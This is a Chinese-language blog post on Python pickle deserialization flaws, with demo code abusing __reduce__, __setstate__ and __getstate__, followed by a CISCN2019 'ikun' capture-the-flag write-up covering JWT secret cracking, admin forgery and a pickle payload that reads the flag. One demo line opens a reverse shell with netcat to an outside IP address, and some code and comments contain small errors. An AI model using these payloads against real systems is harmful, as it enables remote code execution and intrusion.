python反序列化

介绍

首先介绍一下python反序列化是什么。和php一样 python反序列化主要就是通过模块的调用,来将一串数据转化成序列化形式,以此来便于传输数据,同样,不恰当的反序列化可以造成很严重的反序列化漏洞。

模块介绍

在python中主要有两个模块可以对对象进行序列化操作,一个是pickle模块(这个模块比较常见),还有一个是json模块,主要是四个方法可以进行序列化和反序列化dumps(),dump(),loads(),load(),这两个模块的方法都一样,都是上述四个。dumps()和dump()都是对数据进行序列化操作,loads()j和load()都是对数据进行反序列化操作,dumps和dump还有loads和load 方法 唯一不同的点都只有一个,就是dumps和loads是直接对代码中定义的列表等对象进行序列化和反序列化,dump和load则是从文件中读取对象来进行操作。

代码演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import pickle
p_dict = {'name': 'st3r' , 'age': 20 , 'isMarried' : False}
p_serial = pickle.dumps(p_dict)
print(p_serial)

# 以字节形式 输出序列化对象后的字符串  b'\x80\x04\x95(\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04name\x94\x8c\x04st3r\x94\x8c\x03age\x94K\x14\x8c\tisMarried\x94\x89u.'

p = pickle.loads(p_serial)
print(p)

print("--------------------------------------")

import json
class Person:
    def __init__(self, name, age, isMarried):
        self.name = name
        self.age = age
        self.isMarried = isMarried

person = Person("st3r" , 20 , False)
per_ser = pickle.dumps(person)
print(per_ser)

# b'\x80\x04\x95B\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x04st3r\x94\x8c\x03age\x94K\x14\x8c\tisMarried\x94\x89ub.'

per_ser_json = json.dumps(person)
print(per_ser_json)

print("-----------------------------------")
PS:pickle模块可以序列化一个实例对象 而json不可以

PS:上述json模块,序列化对象报错
图片引用

魔术方法

在python中也有和php一样的魔术方法 可以在序列化和反序列化进行的前后自动调用,主要是 四种方法

1
2
3
4
__reduce__()  # 反序列化时嗲用
__reduce_ex__() # 反序列化时调用
__setstate__() # 序列化时调用
__getstate__() # 序列化时调用

魔术方法使用演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<__reduce__>方法

import pickle
import os
class A:
    def __reduce__(self):
        print("反序列化时调用")
        return (os.system,('calc',))
a = A()
p_ser = pickle.dumps(a)
print("serializing....")
p = pickle.loads(p_ser)
print("unserializing....")

# 可以看到命令被顺利执行

图片引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<__setstate__>方法
import pickle
import os
class B:
    def __init__(self,name)
        self.name = name
    def __setstate__(self,name):  # 这样构造是因为__setstate__方法在构造时必须要一个非self的参数
        os.system('calc')

b = B('st3r')

print("serializing....")

b_ser = pickle.dumps(b)

print("unserializing....")

b_unser = pickle.loads(b_ser)

# 可以看到也是正确执行命令

图片引用

1
2
3
4
5
6
7
8
class C:
    def __getstate__(self):
        print("serializing....")
        os.system('nc 47.101.147.182 5566 -e cmd.exe')
c = C()
c_ser = pickle.dumps(c)

# 可以看到成功反弹shell

图片引用
基础的理论知识就说完了,现在来看一道例题,被说烂了的ciscn的例题 [CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

在buuoj上面有复现
首先打开网站,就看到了咱们家哥哥
图片引用
看到有一行小字 “一定要买到lv6!!!” 一开始不知道这个lv6是个啥,在看网页源码的时候发现….
图片引用
这些图片就是lv几几几,又看到底部有下一页,并且url后面有一个page参数http://a478c1d4-baa9-4e9b-a36a-d12d36971c6e.node5.buuoj.cn:81/shop?page=2
那就好办了 直接python来找一下了

1
2
3
4
5
6
7
8
9
10
import requests
url = "http://ae5f4699-b1f8-4f06-8a2f-8802ea25773d.node5.buuoj.cn:81/shop?page="
for i in range(1,300):
    u = url + str(i)
    resp = requests.get(u)
    if 'lv6.png' in resp.text:
        print(u)
        break
    else:
        print("Not in page" + str(i))

可以看到lv6在181页,那就直接跳到181
图片引用
可以看到 第一个就是lv6,点进去看见结算界面
图片引用
刚刚注册的时候可以很明显看到,咱身上只有一千块钱,绝对是不够买的,那就抓个包看看
图片引用
在cookie那里看见了有JWT,立刻想到jwt伪造越权,直接工具尝试破解密钥
图片引用可以看到密钥就是1Kun,那把包发出去,看看还有没有什么别的
图片引用既然这样,那就直接修改jwt为admin的
图片引用
重新发包,成功进入后台
图片引用
查看网页源码,可以看见源码下载的地址
图片引用
下载下来,代码审计,主要就是一个pickle反序列化,在Admin.py里面
图片引用这样的话就好构造了,不过这个写法是python2的写法,所以也需要注意构造payload的环境

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /fla*',))
 # 这个写法很新颖,我也是第一次看见python可以这么执行系统命令,学习到了
p = payload()
p_ser = pickle.dumps(p)
a = urllib.quote(p_ser)

print a

这一步可以直接在burp里面,重新点击一键成为大会员,看到post传参become直接修改就行
图片引用


python反序列化
http://st3r665.github.io/2025/03/05/pythonUnserialized/
作者
St3r
发布于
2025年3月5日
许可协议